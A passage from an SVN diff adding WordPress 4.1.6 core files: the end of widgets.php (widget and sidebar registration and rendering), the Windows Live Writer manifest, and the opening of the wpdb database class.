+			unset($wp_registered_widget_updates[$id_base]);
+
+		return;
+	}
+
+	$defaults = array('classname' => $output_callback);
+	$options = wp_parse_args($options, $defaults);
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $output_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	if ( is_callable($output_callback) && ( !isset($wp_registered_widgets[$id]) || did_action( 'widgets_init' ) ) ) {
+
+		/**
+		 * Fires once for each registered widget.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $widget An array of default widget arguments.
+		 */
+		do_action( 'wp_register_sidebar_widget', $widget );
+		$wp_registered_widgets[$id] = $widget;
+	}
+}
+
+/**
+ * Retrieve description for widget.
+ *
+ * When registering widgets, the options can also include 'description' that
+ * describes the widget for display on the widget administration panel or
+ * in the theme.
+ *
+ * @since 2.5.0
+ *
+ * @param int|string $id Widget ID.
+ * @return string Widget description, if available. Null on failure to retrieve description.
+ */
+function wp_widget_description( $id ) {
+	if ( !is_scalar($id) )
+		return;
+
+	global $wp_registered_widgets;
+
+	if ( isset($wp_registered_widgets[$id]['description']) )
+		return esc_html( $wp_registered_widgets[$id]['description'] );
+}
+
+/**
+ * Retrieve description for a sidebar.
+ *
+ * When registering sidebars a 'description' parameter can be included that
+ * describes the sidebar for display on the widget administration panel.
+ *
+ * @since 2.9.0
+ *
+ * @param string $id sidebar ID.
+ * @return string Sidebar description, if available. Null on failure to retrieve description.
+ */
+function wp_sidebar_description( $id ) {
+	if ( !is_scalar($id) )
+		return;
+
+	global $wp_registered_sidebars;
+
+	if ( isset($wp_registered_sidebars[$id]['description']) )
+		return esc_html( $wp_registered_sidebars[$id]['description'] );
+}
+
+/**
+ * Remove widget from sidebar.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $id Widget ID.
+ */
+function wp_unregister_sidebar_widget($id) {
+
+	/**
+	 * Fires just before a widget is removed from a sidebar.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param int $id The widget ID.
+	 */
+	do_action( 'wp_unregister_sidebar_widget', $id );
+
+	wp_register_sidebar_widget($id, '', '');
+	wp_unregister_widget_control($id);
+}
+
+/**
+ * Registers widget control callback for customizing options.
+ *
+ * The options contains the 'height', 'width', and 'id_base' keys. The 'height'
+ * option is never used. The 'width' option is the width of the fully expanded
+ * control form, but try hard to use the default width. The 'id_base' is for
+ * multi-widgets (widgets which allow multiple instances such as the text
+ * widget), an id_base must be provided. The widget id will end up looking like
+ * `{$id_base}-{$unique_number}`.
+ *
+ * @since 2.2.0
+ *
+ * @todo Document `$options` as a hash notation, re: WP_Widget::__construct() cross-reference.
+ * @todo `$params` parameter?
+ *
+ * @param int|string   $id               Sidebar ID.
+ * @param string       $name             Sidebar display name.
+ * @param callback     $control_callback Run when sidebar is displayed.
+ * @param array|string $options          Optional. Widget options. See description above. Default empty array.
+ */
+function wp_register_widget_control( $id, $name, $control_callback, $options = array() ) {
+	global $wp_registered_widget_controls, $wp_registered_widget_updates, $wp_registered_widgets, $_wp_deprecated_widgets_callbacks;
+
+	$id = strtolower($id);
+	$id_base = _get_widget_id_base($id);
+
+	if ( empty($control_callback) ) {
+		unset($wp_registered_widget_controls[$id]);
+		unset($wp_registered_widget_updates[$id_base]);
+		return;
+	}
+
+	if ( in_array($control_callback, $_wp_deprecated_widgets_callbacks, true) && !is_callable($control_callback) ) {
+		if ( isset($wp_registered_widgets[$id]) )
+			unset($wp_registered_widgets[$id]);
+
+		return;
+	}
+
+	if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) )
+		return;
+
+	$defaults = array('width' => 250, 'height' => 200 ); // height is never used
+	$options = wp_parse_args($options, $defaults);
+	$options['width'] = (int) $options['width'];
+	$options['height'] = (int) $options['height'];
+
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $control_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	$wp_registered_widget_controls[$id] = $widget;
+
+	if ( isset($wp_registered_widget_updates[$id_base]) )
+		return;
+
+	if ( isset($widget['params'][0]['number']) )
+		$widget['params'][0]['number'] = -1;
+
+	unset($widget['width'], $widget['height'], $widget['name'], $widget['id']);
+	$wp_registered_widget_updates[$id_base] = $widget;
+}
+
+/**
+ *
+ * @global array $wp_registered_widget_updates
+ * @param string   $id_base
+ * @param callable $update_callback
+ * @param array    $options
+ */
+function _register_widget_update_callback($id_base, $update_callback, $options = array()) {
+	global $wp_registered_widget_updates;
+
+	if ( isset($wp_registered_widget_updates[$id_base]) ) {
+		if ( empty($update_callback) )
+			unset($wp_registered_widget_updates[$id_base]);
+		return;
+	}
+
+	$widget = array(
+		'callback' => $update_callback,
+		'params' => array_slice(func_get_args(), 3)
+	);
+
+	$widget = array_merge($widget, $options);
+	$wp_registered_widget_updates[$id_base] = $widget;
+}
+
+/**
+ *
+ * @global array $wp_registered_widget_controls
+ * @param int|string $id
+ * @param string     $name
+ * @param callable   $form_callback
+ * @param array      $options
+ * @return null
+ */
+function _register_widget_form_callback($id, $name, $form_callback, $options = array()) {
+	global $wp_registered_widget_controls;
+
+	$id = strtolower($id);
+
+	if ( empty($form_callback) ) {
+		unset($wp_registered_widget_controls[$id]);
+		return;
+	}
+
+	if ( isset($wp_registered_widget_controls[$id]) && !did_action( 'widgets_init' ) )
+		return;
+
+	$defaults = array('width' => 250, 'height' => 200 );
+	$options = wp_parse_args($options, $defaults);
+	$options['width'] = (int) $options['width'];
+	$options['height'] = (int) $options['height'];
+
+	$widget = array(
+		'name' => $name,
+		'id' => $id,
+		'callback' => $form_callback,
+		'params' => array_slice(func_get_args(), 4)
+	);
+	$widget = array_merge($widget, $options);
+
+	$wp_registered_widget_controls[$id] = $widget;
+}
+
+/**
+ * Remove control callback for widget.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $id Widget ID.
+ */
+function wp_unregister_widget_control($id) {
+	return wp_register_widget_control($id, '', '');
+}
+
+/**
+ * Display dynamic sidebar.
+ *
+ * By default this displays the default sidebar or 'sidebar-1'. If your theme specifies the 'id' or
+ * 'name' parameter for its registered sidebars you can pass an id or name as the $index parameter.
+ * Otherwise, you can pass in a numerical index to display the sidebar at that index.
+ *
+ * @since 2.2.0
+ *
+ * @param int|string $index Optional, default is 1. Index, name or ID of dynamic sidebar.
+ * @return bool True, if widget sidebar was found and called. False if not found or not called.
+ */
+function dynamic_sidebar($index = 1) {
+	global $wp_registered_sidebars, $wp_registered_widgets;
+
+	if ( is_int($index) ) {
+		$index = "sidebar-$index";
+	} else {
+		$index = sanitize_title($index);
+		foreach ( (array) $wp_registered_sidebars as $key => $value ) {
+			if ( sanitize_title($value['name']) == $index ) {
+				$index = $key;
+				break;
+			}
+		}
+	}
+
+	$sidebars_widgets = wp_get_sidebars_widgets();
+	if ( empty( $wp_registered_sidebars[ $index ] ) || empty( $sidebars_widgets[ $index ] ) || ! is_array( $sidebars_widgets[ $index ] ) ) {
+		/** This action is documented in wp-includes/widgets.php */
+		do_action( 'dynamic_sidebar_before', $index, false );
+		/** This action is documented in wp-includes/widgets.php */
+		do_action( 'dynamic_sidebar_after',  $index, false );
+		/** This filter is documented in wp-includes/widgets.php */
+		return apply_filters( 'dynamic_sidebar_has_widgets', false, $index );
+	}
+
+	/**
+	 * Fires before widgets are rendered in a dynamic sidebar.
+	 *
+	 * Note: The action also fires for empty sidebars, and on both the front-end
+	 * and back-end, including the Inactive Widgets sidebar on the Widgets screen.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int|string $index       Index, name, or ID of the dynamic sidebar.
+	 * @param bool       $has_widgets Whether the sidebar is populated with widgets.
+	 *                                Default true.
+	 */
+	do_action( 'dynamic_sidebar_before', $index, true );
+	$sidebar = $wp_registered_sidebars[$index];
+
+	$did_one = false;
+	foreach ( (array) $sidebars_widgets[$index] as $id ) {
+
+		if ( !isset($wp_registered_widgets[$id]) ) continue;
+
+		$params = array_merge(
+			array( array_merge( $sidebar, array('widget_id' => $id, 'widget_name' => $wp_registered_widgets[$id]['name']) ) ),
+			(array) $wp_registered_widgets[$id]['params']
+		);
+
+		// Substitute HTML id and class attributes into before_widget
+		$classname_ = '';
+		foreach ( (array) $wp_registered_widgets[$id]['classname'] as $cn ) {
+			if ( is_string($cn) )
+				$classname_ .= '_' . $cn;
+			elseif ( is_object($cn) )
+				$classname_ .= '_' . get_class($cn);
+		}
+		$classname_ = ltrim($classname_, '_');
+		$params[0]['before_widget'] = sprintf($params[0]['before_widget'], $id, $classname_);
+
+		/**
+		 * Filter the parameters passed to a widget's display callback.
+		 *
+		 * Note: The filter is evaluated on both the front-end and back-end,
+		 * including for the Inactive Widgets sidebar on the Widgets screen.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @see register_sidebar()
+		 *
+		 * @param array $params {
+		 *     @type array $args  {
+		 *         An array of widget display arguments.
+		 *
+		 *         @type string $name          Name of the sidebar the widget is assigned to.
+		 *         @type string $id            ID of the sidebar the widget is assigned to.
+		 *         @type string $description   The sidebar description.
+		 *         @type string $class         CSS class applied to the sidebar container.
+		 *         @type string $before_widget HTML markup to prepend to each widget in the sidebar.
+		 *         @type string $after_widget  HTML markup to append to each widget in the sidebar.
+		 *         @type string $before_title  HTML markup to prepend to the widget title when displayed.
+		 *         @type string $after_title   HTML markup to append to the widget title when displayed.
+		 *         @type string $widget_id     ID of the widget.
+		 *         @type string $widget_name   Name of the widget.
+		 *     }
+		 *     @type array $widget_args {
+		 *         An array of multi-widget arguments.
+		 *
+		 *         @type int $number Number increment used for multiples of the same widget.
+		 *     }
+		 * }
+		 */
+		$params = apply_filters( 'dynamic_sidebar_params', $params );
+
+		$callback = $wp_registered_widgets[$id]['callback'];
+
+		/**
+		 * Fires before a widget's display callback is called.
+		 *
+		 * Note: The action fires on both the front-end and back-end, including
+		 * for widgets in the Inactive Widgets sidebar on the Widgets screen.
+		 *
+		 * The action is not fired for empty sidebars.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param array $widget_id {
+		 *     An associative array of widget arguments.
+		 *
+		 *     @type string $name                Name of the widget.
+		 *     @type string $id                  Widget ID.
+		 *     @type array|callback $callback    When the hook is fired on the front-end, $callback is an array
+		 *                                       containing the widget object. Fired on the back-end, $callback
+		 *                                       is 'wp_widget_control', see $_callback.
+		 *     @type array          $params      An associative array of multi-widget arguments.
+		 *     @type string         $classname   CSS class applied to the widget container.
+		 *     @type string         $description The widget description.
+		 *     @type array          $_callback   When the hook is fired on the back-end, $_callback is populated
+		 *                                       with an array containing the widget object, see $callback.
+		 * }
+		 */
+		do_action( 'dynamic_sidebar', $wp_registered_widgets[ $id ] );
+
+		if ( is_callable($callback) ) {
+			call_user_func_array($callback, $params);
+			$did_one = true;
+		}
+	}
+
+	/**
+	 * Fires after widgets are rendered in a dynamic sidebar.
+	 *
+	 * Note: The action also fires for empty sidebars, and on both the front-end
+	 * and back-end, including the Inactive Widgets sidebar on the Widgets screen.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param int|string $index       Index, name, or ID of the dynamic sidebar.
+	 * @param bool       $has_widgets Whether the sidebar is populated with widgets.
+	 *                                Default true.
+	 */
+	do_action( 'dynamic_sidebar_after', $index, true );
+
+	/**
+	 * Filter whether a sidebar has widgets.
+	 *
+	 * Note: The filter is also evaluated for empty sidebars, and on both the front-end
+	 * and back-end, including the Inactive Widgets sidebar on the Widgets screen.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param bool       $did_one Whether at least one widget was rendered in the sidebar.
+	 *                            Default false.
+	 * @param int|string $index   Index, name, or ID of the dynamic sidebar.
+	 */
+
+	$did_one = apply_filters( 'dynamic_sidebar_has_widgets', $did_one, $index );
+
+	return $did_one;
+}
+
+/**
+ * Whether widget is displayed on the front-end.
+ *
+ * Either $callback or $id_base can be used
+ * $id_base is the first argument when extending WP_Widget class
+ * Without the optional $widget_id parameter, returns the ID of the first sidebar
+ * in which the first instance of the widget with the given callback or $id_base is found.
+ * With the $widget_id parameter, returns the ID of the sidebar where
+ * the widget with that callback/$id_base AND that ID is found.
+ *
+ * NOTE: $widget_id and $id_base are the same for single widgets. To be effective
+ * this function has to run after widgets have initialized, at action 'init' or later.
+ *
+ * @since 2.2.0
+ *
+ * @param string $callback Optional, Widget callback to check.
+ * @param int $widget_id Optional, but needed for checking. Widget ID.
+ * @param string $id_base Optional, the base ID of a widget created by extending WP_Widget.
+ * @param bool $skip_inactive Optional, whether to check in 'wp_inactive_widgets'.
+ * @return mixed false if widget is not active or id of sidebar in which the widget is active.
+ */
+function is_active_widget($callback = false, $widget_id = false, $id_base = false, $skip_inactive = true) {
+	global $wp_registered_widgets;
+
+	$sidebars_widgets = wp_get_sidebars_widgets();
+
+	if ( is_array($sidebars_widgets) ) {
+		foreach ( $sidebars_widgets as $sidebar => $widgets ) {
+			if ( $skip_inactive && ( 'wp_inactive_widgets' === $sidebar || 'orphaned_widgets' === substr( $sidebar, 0, 16 ) ) ) {
+				continue;
+			}
+
+			if ( is_array($widgets) ) {
+				foreach ( $widgets as $widget ) {
+					if ( ( $callback && isset($wp_registered_widgets[$widget]['callback']) && $wp_registered_widgets[$widget]['callback'] == $callback ) || ( $id_base && _get_widget_id_base($widget) == $id_base ) ) {
+						if ( !$widget_id || $widget_id == $wp_registered_widgets[$widget]['id'] )
+							return $sidebar;
+					}
+				}
+			}
+		}
+	}
+	return false;
+}
+
+/**
+ * Whether the dynamic sidebar is enabled and used by theme.
+ *
+ * @since 2.2.0
+ *
+ * @return bool True, if using widgets. False, if not using widgets.
+ */
+function is_dynamic_sidebar() {
+	global $wp_registered_widgets, $wp_registered_sidebars;
+	$sidebars_widgets = get_option('sidebars_widgets');
+	foreach ( (array) $wp_registered_sidebars as $index => $sidebar ) {
+		if ( count($sidebars_widgets[$index]) ) {
+			foreach ( (array) $sidebars_widgets[$index] as $widget )
+				if ( array_key_exists($widget, $wp_registered_widgets) )
+					return true;
+		}
+	}
+	return false;
+}
+
+/**
+ * Whether a sidebar is in use.
+ *
+ * @since 2.8.0
+ *
+ * @param string|int $index Sidebar name, id or number to check.
+ * @return bool true if the sidebar is in use, false otherwise.
+ */
+function is_active_sidebar( $index ) {
+	$index = ( is_int($index) ) ? "sidebar-$index" : sanitize_title($index);
+	$sidebars_widgets = wp_get_sidebars_widgets();
+	$is_active_sidebar = ! empty( $sidebars_widgets[$index] );
+
+	/**
+	 * Filter whether a dynamic sidebar is considered "active".
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param bool       $is_active_sidebar Whether or not the sidebar should be considered "active".
+	 *                                      In other words, whether the sidebar contains any widgets.
+	 * @param int|string $index             Index, name, or ID of the dynamic sidebar.
+	 */
+	return apply_filters( 'is_active_sidebar', $is_active_sidebar, $index );
+}
+
+/* Internal Functions */
+
+/**
+ * Retrieve full list of sidebars and their widget instance IDs.
+ *
+ * Will upgrade sidebar widget list, if needed. Will also save updated list, if
+ * needed.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @param bool $deprecated Not used (argument deprecated).
+ * @return array Upgraded list of widgets to version 3 array format when called from the admin.
+ */
+function wp_get_sidebars_widgets( $deprecated = true ) {
+	if ( $deprecated !== true )
+		_deprecated_argument( __FUNCTION__, '2.8.1' );
+
+	global $_wp_sidebars_widgets, $sidebars_widgets;
+
+	// If loading from front page, consult $_wp_sidebars_widgets rather than options
+	// to see if wp_convert_widget_settings() has made manipulations in memory.
+	if ( !is_admin() ) {
+		if ( empty($_wp_sidebars_widgets) )
+			$_wp_sidebars_widgets = get_option('sidebars_widgets', array());
+
+		$sidebars_widgets = $_wp_sidebars_widgets;
+	} else {
+		$sidebars_widgets = get_option('sidebars_widgets', array());
+	}
+
+	if ( is_array( $sidebars_widgets ) && isset($sidebars_widgets['array_version']) )
+		unset($sidebars_widgets['array_version']);
+
+	/**
+	 * Filter the list of sidebars and their widgets.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array $sidebars_widgets An associative array of sidebars and their widgets.
+	 */
+	$sidebars_widgets = apply_filters( 'sidebars_widgets', $sidebars_widgets );
+	return $sidebars_widgets;
+}
+
+/**
+ * Set the sidebar widget option to update sidebars.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @param array $sidebars_widgets Sidebar widgets and their settings.
+ */
+function wp_set_sidebars_widgets( $sidebars_widgets ) {
+	if ( !isset( $sidebars_widgets['array_version'] ) )
+		$sidebars_widgets['array_version'] = 3;
+	update_option( 'sidebars_widgets', $sidebars_widgets );
+}
+
+/**
+ * Retrieve default registered sidebars list.
+ *
+ * @since 2.2.0
+ * @access private
+ *
+ * @return array
+ */
+function wp_get_widget_defaults() {
+	global $wp_registered_sidebars;
+
+	$defaults = array();
+
+	foreach ( (array) $wp_registered_sidebars as $index => $sidebar )
+		$defaults[$index] = array();
+
+	return $defaults;
+}
+
+/**
+ * Convert the widget settings from single to multi-widget format.
+ *
+ * @since 2.8.0
+ *
+ * @param string $base_name
+ * @param string $option_name
+ * @param array  $settings
+ * @return array
+ */
+function wp_convert_widget_settings($base_name, $option_name, $settings) {
+	// This test may need expanding.
+	$single = $changed = false;
+	if ( empty($settings) ) {
+		$single = true;
+	} else {
+		foreach ( array_keys($settings) as $number ) {
+			if ( 'number' == $number )
+				continue;
+			if ( !is_numeric($number) ) {
+				$single = true;
+				break;
+			}
+		}
+	}
+
+	if ( $single ) {
+		$settings = array( 2 => $settings );
+
+		// If loading from the front page, update sidebar in memory but don't save to options
+		if ( is_admin() ) {
+			$sidebars_widgets = get_option('sidebars_widgets');
+		} else {
+			if ( empty($GLOBALS['_wp_sidebars_widgets']) )
+				$GLOBALS['_wp_sidebars_widgets'] = get_option('sidebars_widgets', array());
+			$sidebars_widgets = &$GLOBALS['_wp_sidebars_widgets'];
+		}
+
+		foreach ( (array) $sidebars_widgets as $index => $sidebar ) {
+			if ( is_array($sidebar) ) {
+				foreach ( $sidebar as $i => $name ) {
+					if ( $base_name == $name ) {
+						$sidebars_widgets[$index][$i] = "$name-2";
+						$changed = true;
+						break 2;
+					}
+				}
+			}
+		}
+
+		if ( is_admin() && $changed )
+			update_option('sidebars_widgets', $sidebars_widgets);
+	}
+
+	$settings['_multiwidget'] = 1;
+	if ( is_admin() )
+		update_option( $option_name, $settings );
+
+	return $settings;
+}
+
+/**
+ * Output an arbitrary widget as a template tag.
+ *
+ * @since 2.8.0
+ *
+ * @param string $widget   The widget's PHP class name (see default-widgets.php).
+ * @param array  $instance Optional. The widget's instance settings. Default empty array.
+ * @param array  $args {
+ *     Optional. Array of arguments to configure the display of the widget.
+ *
+ *     @type string $before_widget HTML content that will be prepended to the widget's HTML output.
+ *                                 Default `<div class="widget %s">`, where `%s` is the widget's class name.
+ *     @type string $after_widget  HTML content that will be appended to the widget's HTML output.
+ *                                 Default `</div>`.
+ *     @type string $before_title  HTML content that will be prepended to the widget's title when displayed.
+ *                                 Default `<h2 class="widgettitle">`.
+ *     @type string $after_title   HTML content that will be appended to the widget's title when displayed.
+ *                                 Default `</h2>`.
+ * }
+ */
+function the_widget( $widget, $instance = array(), $args = array() ) {
+	global $wp_widget_factory;
+
+	$widget_obj = $wp_widget_factory->widgets[$widget];
+	if ( !is_a($widget_obj, 'WP_Widget') )
+		return;
+
+	$before_widget = sprintf('<div class="widget %s">', $widget_obj->widget_options['classname'] );
+	$default_args = array( 'before_widget' => $before_widget, 'after_widget' => "</div>", 'before_title' => '<h2 class="widgettitle">', 'after_title' => '</h2>' );
+
+	$args = wp_parse_args($args, $default_args);
+	$instance = wp_parse_args($instance);
+
+	/**
+	 * Fires before rendering the requested widget.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $widget   The widget's class name.
+	 * @param array  $instance The current widget instance's settings.
+	 * @param array  $args     An array of the widget's sidebar arguments.
+	 */
+	do_action( 'the_widget', $widget, $instance, $args );
+
+	$widget_obj->_set(-1);
+	$widget_obj->widget($args, $instance);
+}
+
+/**
+ * Private
+ */
+function _get_widget_id_base($id) {
+	return preg_replace( '/-[0-9]+$/', '', $id );
+}
+
+/**
+ * Handle sidebars config after theme change
+ *
+ * @access private
+ * @since 3.3.0
+ */
+function _wp_sidebars_changed() {
+	global $sidebars_widgets;
+
+	if ( ! is_array( $sidebars_widgets ) )
+		$sidebars_widgets = wp_get_sidebars_widgets();
+
+	retrieve_widgets(true);
+}
+
+/**
+ * Look for "lost" widgets, this has to run at least on each theme change.
+ *
+ * @since 2.8.0
+ *
+ * @param string|bool $theme_changed Whether the theme was changed as a boolean. A value
+ *                                   of 'customize' defers updates for the Customizer.
+ * @return array
+ */
+function retrieve_widgets( $theme_changed = false ) {
+	global $wp_registered_sidebars, $sidebars_widgets, $wp_registered_widgets;
+
+	$registered_sidebar_keys = array_keys( $wp_registered_sidebars );
+	$orphaned = 0;
+
+	$old_sidebars_widgets = get_theme_mod( 'sidebars_widgets' );
+	if ( is_array( $old_sidebars_widgets ) ) {
+		// time() that sidebars were stored is in $old_sidebars_widgets['time']
+		$_sidebars_widgets = $old_sidebars_widgets['data'];
+
+		if ( 'customize' !== $theme_changed ) {
+			remove_theme_mod( 'sidebars_widgets' );
+		}
+
+		foreach ( $_sidebars_widgets as $sidebar => $widgets ) {
+			if ( 'wp_inactive_widgets' === $sidebar || 'orphaned_widgets' === substr( $sidebar, 0, 16 ) ) {
+				continue;
+			}
+
+			if ( !in_array( $sidebar, $registered_sidebar_keys ) ) {
+				$_sidebars_widgets['orphaned_widgets_' . ++$orphaned] = $widgets;
+				unset( $_sidebars_widgets[$sidebar] );
+			}
+		}
+	} else {
+		if ( empty( $sidebars_widgets ) )
+			return;
+
+		unset( $sidebars_widgets['array_version'] );
+
+		$old = array_keys($sidebars_widgets);
+		sort($old);
+		sort($registered_sidebar_keys);
+
+		if ( $old == $registered_sidebar_keys )
+			return;
+
+		$_sidebars_widgets = array(
+			'wp_inactive_widgets' => !empty( $sidebars_widgets['wp_inactive_widgets'] ) ? $sidebars_widgets['wp_inactive_widgets'] : array()
+		);
+
+		unset( $sidebars_widgets['wp_inactive_widgets'] );
+
+		foreach ( $wp_registered_sidebars as $id => $settings ) {
+			if ( $theme_changed ) {
+				$_sidebars_widgets[$id] = array_shift( $sidebars_widgets );
+			} else {
+				// no theme change, grab only sidebars that are currently registered
+				if ( isset( $sidebars_widgets[$id] ) ) {
+					$_sidebars_widgets[$id] = $sidebars_widgets[$id];
+					unset( $sidebars_widgets[$id] );
+				}
+			}
+		}
+
+		foreach ( $sidebars_widgets as $val ) {
+			if ( is_array($val) && ! empty( $val ) )
+				$_sidebars_widgets['orphaned_widgets_' . ++$orphaned] = $val;
+		}
+	}
+
+	// discard invalid, theme-specific widgets from sidebars
+	$shown_widgets = array();
+
+	foreach ( $_sidebars_widgets as $sidebar => $widgets ) {
+		if ( !is_array($widgets) )
+			continue;
+
+		$_widgets = array();
+		foreach ( $widgets as $widget ) {
+			if ( isset($wp_registered_widgets[$widget]) )
+				$_widgets[] = $widget;
+		}
+
+		$_sidebars_widgets[$sidebar] = $_widgets;
+		$shown_widgets = array_merge($shown_widgets, $_widgets);
+	}
+
+	$sidebars_widgets = $_sidebars_widgets;
+	unset($_sidebars_widgets, $_widgets);
+
+	// find hidden/lost multi-widget instances
+	$lost_widgets = array();
+	foreach ( $wp_registered_widgets as $key => $val ) {
+		if ( in_array($key, $shown_widgets, true) )
+			continue;
+
+		$number = preg_replace('/.+?-([0-9]+)$/', '$1', $key);
+
+		if ( 2 > (int) $number )
+			continue;
+
+		$lost_widgets[] = $key;
+	}
+
+	$sidebars_widgets['wp_inactive_widgets'] = array_merge($lost_widgets, (array) $sidebars_widgets['wp_inactive_widgets']);
+	if ( 'customize' !== $theme_changed ) {
+		wp_set_sidebars_widgets( $sidebars_widgets );
+	}
+
+	return $sidebars_widgets;
+}
Index: /tags/4.1.6/src/wp-includes/wlwmanifest.xml
===================================================================
--- /tags/4.1.6/src/wp-includes/wlwmanifest.xml	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/wlwmanifest.xml	(revision 33402)
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8" ?>
+
+<manifest xmlns="http://schemas.microsoft.com/wlw/manifest/weblog">
+
+  <options>
+    <clientType>WordPress</clientType>
+	<supportsKeywords>Yes</supportsKeywords>
+	<supportsGetTags>Yes</supportsGetTags>
+  </options>
+
+  <weblog>
+    <serviceName>WordPress</serviceName>
+    <imageUrl>images/wlw/wp-icon.png</imageUrl>
+    <watermarkImageUrl>images/wlw/wp-watermark.png</watermarkImageUrl>
+    <homepageLinkText>View site</homepageLinkText>
+    <adminLinkText>Dashboard</adminLinkText>
+    <adminUrl>
+      <![CDATA[
+			{blog-postapi-url}/../wp-admin/
+		]]>
+    </adminUrl>
+    <postEditingUrl>
+      <![CDATA[
+			{blog-postapi-url}/../wp-admin/post.php?action=edit&post={post-id}
+		]]>
+    </postEditingUrl>
+  </weblog>
+
+  <buttons>
+    <button>
+      <id>0</id>
+      <text>Manage Comments</text>
+      <imageUrl>images/wlw/wp-comments.png</imageUrl>
+      <clickUrl>
+        <![CDATA[
+				{blog-postapi-url}/../wp-admin/edit-comments.php
+			]]>
+      </clickUrl>
+    </button>
+
+  </buttons>
+
+</manifest>
Index: /tags/4.1.6/src/wp-includes/wp-db.php
===================================================================
--- /tags/4.1.6/src/wp-includes/wp-db.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/wp-db.php	(revision 33402)
@@ -0,0 +1,3062 @@
+<?php
+/**
+ * WordPress DB Class
+ *
+ * Original code from {@link http://php.justinvincent.com Justin Vincent (justin@visunet.ie)}
+ *
+ * @package WordPress
+ * @subpackage Database
+ * @since 0.71
+ */
+
+/**
+ * @since 0.71
+ */
+define( 'EZSQL_VERSION', 'WP1.25' );
+
+/**
+ * @since 0.71
+ */
+define( 'OBJECT', 'OBJECT' );
+define( 'object', 'OBJECT' ); // Back compat.
+
+/**
+ * @since 2.5.0
+ */
+define( 'OBJECT_K', 'OBJECT_K' );
+
+/**
+ * @since 0.71
+ */
+define( 'ARRAY_A', 'ARRAY_A' );
+
+/**
+ * @since 0.71
+ */
+define( 'ARRAY_N', 'ARRAY_N' );
+
+/**
+ * WordPress Database Access Abstraction Object
+ *
+ * It is possible to replace this class with your own
+ * by setting the $wpdb global variable in wp-content/db.php
+ * file to your class. The wpdb class will still be included,
+ * so you can extend it or simply use your own.
+ *
+ * @link http://codex.wordpress.org/Function_Reference/wpdb_Class
+ *
+ * @package WordPress
+ * @subpackage Database
+ * @since 0.71
+ */
+class wpdb {
+
+	/**
+	 * Whether to show SQL/DB errors.
+	 *
+	 * Default behavior is to show errors if both WP_DEBUG and WP_DEBUG_DISPLAY
+	 * evaluated to true.
+	 *
+	 * @since 0.71
+	 * @access private
+	 * @var bool
+	 */
+	var $show_errors = false;
+
+	/**
+	 * Whether to suppress errors during the DB bootstrapping.
+	 *
+	 * @access private
+	 * @since 2.5.0
+	 * @var bool
+	 */
+	var $suppress_errors = false;
+
+	/**
+	 * The last error during query.
+	 *
+	 * @since 2.5.0
+	 * @var string
+	 */
+	public $last_error = '';
+
+	/**
+	 * Amount of queries made
+	 *
+	 * @since 1.2.0
+	 * @access private
+	 * @var int
+	 */
+	var $num_queries = 0;
+
+	/**
+	 * Count of rows returned by previous query
+	 *
+	 * @since 0.71
+	 * @access private
+	 * @var int
+	 */
+	var $num_rows = 0;
+
+	/**
+	 * Count of affected rows by previous query
+	 *
+	 * @since 0.71
+	 * @access private
+	 * @var int
+	 */
+	var $rows_affected = 0;
+
+	/**
+	 * The ID generated for an AUTO_INCREMENT column by the previous query (usually INSERT).
+	 *
+	 * @since 0.71
+	 * @access public
+	 * @var int
+	 */
+	var $insert_id = 0;
+
+	/**
+	 * Last query made
+	 *
+	 * @since 0.71
+	 * @access private
+	 * @var array
+	 */
+	var $last_query;
+
+	/**
+	 * Results of the last query made
+	 *
+	 * @since 0.71
+	 * @access private
+	 * @var array|null
+	 */
+	var $last_result;
+
+	/**
+	 * MySQL result, which is either a resource or boolean.
+	 *
+	 * @since 0.71
+	 * @access protected
+	 * @var mixed
+	 */
+	protected $result;
+
+	/**
+	 * Cached column info, for sanity checking data before inserting
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $col_meta = array();
+
+	/**
+	 * Calculated character sets on tables
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 * @var array
+	 */
+	protected $table_charset = array();
+
+	/**
+	 * Whether text fields in the current query need to be sanity checked.
+	 *
+	 * @since 4.2.0
+	 * @access protected
+	 * @var bool
+	 */
+	protected $check_current_query = true;
+
+	/**
+	 * Flag to ensure we don't run into recursion problems when checking the collation.
+	 *
+	 * @since 4.2.0
+	 * @access private
+	 * @see wpdb::check_safe_collation()
+	 * @var boolean
+	 */
+	private $checking_collation = false;
+
+	/**
+	 * Saved info on the table column
+	 *
+	 * @since 0.71
+	 * @access protected
+	 * @var array
+	 */
+	protected $col_info;
+
+	/**
+	 * Saved queries that were executed
+	 *
+	 * @since 1.5.0
+	 * @access private
+	 * @var array
+	 */
+	var $queries;
+
+	/**
+	 * The number of times to retry reconnecting before dying.
+	 *
+	 * @since 3.9.0
+	 * @access protected
+	 * @see wpdb::check_connection()
+	 * @var int
+	 */
+	protected $reconnect_retries = 5;
+
+	/**
+	 * WordPress table prefix
+	 *
+	 * You can set this to have multiple WordPress installations
+	 * in a single database. The second reason is for possible
+	 * security precautions.
+	 *
+	 * @since 2.5.0
+	 * @access private
+	 * @var string
+	 */
+	var $prefix = '';
+
+	/**
+	 * WordPress base table prefix.
+	 *
+	 * @since 3.0.0
+	 * @access public
+	 * @var string
+	 */
+	 public $base_prefix;
+
+	/**
